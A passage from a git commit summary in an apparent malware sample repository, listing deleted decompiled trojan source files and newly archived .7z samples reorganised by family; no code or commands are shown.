MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/hWCLMK.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/qTmS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/clJqUjQW.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/hfkVOWz.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Chqqp.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/UDDppRZmO.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/ewJw.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/gGgr.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/GdYCEjE.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/NHZWtP.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/HOeG.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/QogcoFUpd.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-d9e5cb7e9602a093512671619fb62af534096f32f08b4914c8c002978731c19e/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/srIMO.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/zkSU.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/ZlCDYaj.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/bEIWgBPCo.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Client_Dateitransfer.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Form1.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Form1.resx delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Log.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Module_logger.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Reg.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Spread.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Trojan.MSIL.Zapchast.aaxrn.csproj delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Trojan.MSIL.Zapchast.aaxrn.sln delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Trojan.MSIL.Zapchast.aelqe.csproj delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Trojan.MSIL.Zapchast.aelqe.sln delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Win/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Win/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0002.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0002 .cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0003.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0003 .cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0005.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0006.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0008.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_000E.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_000F.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/       ​    delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.resx delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.csproj delete mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.sln create mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aaxrn.7z create mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aelqe.7z create mode 100644 MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.f.7z rename Win32/InternetWorm/{ => Worm.Win32.AutoRun.Generic}/Worm.MSIL.Autorun.a.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.AutoRun.Generic}/Worm.MSIL.Autorun.jk.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.AutoRun.Generic}/Worm.Win32.AutoRun.dfi.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.AutoRun.Generic}/Worm.Win32.AutoRun.hgi.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.AutoRun.Generic}/Worm.Win32.AutoRun.hvq-b.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.AutoRun.Generic}/Worm.Win32.AutoRun.hvq.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.Shakblades}/Worm.Win32.Shakblades.ajg-0.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.Shakblades}/Worm.Win32.Shakblades.ajg-6.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.Shakblades}/Worm.Win32.Shakblades.ajg-9.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.Shakblades}/Worm.Win32.Shakblades.ajg.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.Shakblades}/Worm.Win32.Shakblades.wqv.7z (100%) rename Win32/InternetWorm/{ => Worm.Win32.Shakblades}/Worm.Win32.Shakblades.y.7z (100%) rename Win32/{ => Trojans}/Backdoor.MSIL.Small.h.7z (100%) rename Win32/{Stealers => Trojans}/Trojan.MSIL.BitMiner.bp.7z (100%) create mode 100644 Win32/Trojans/Trojan.MSIL.FraudPack.Generic/Trojan.MSIL.FraudPack.m.7z create mode 100644 Win32/Trojans/Trojan.MSIL.FraudPack.Generic/Trojan.MSIL.FraudPack.n.7z rename MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/ed404015d077ea06 => Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-5.7z (59%) rename MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/ed404015d077ea06 => Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-9.7z (59%) create mode 100644 Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-0.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-1.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-6.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-a.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.qn.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.sh.7z create mode 100644 Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.a.7z create mode 100644 Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-2.7z create mode 100644 Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-7.7z create mode 100644 Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.ao-9.7z create mode 100644 Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.b.7z create mode 100644 Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.t.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-03.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-4.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-45.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-47.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-5.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-6.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-8.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-88.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-89.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-890.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-9.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-97.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-98.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-d9.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-e0.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-f6.7z create mode 100644 Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a.7z diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/AssemblyInfo.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/AssemblyInfo.cs deleted file mode 100644 index dbed66f0..00000000 --- 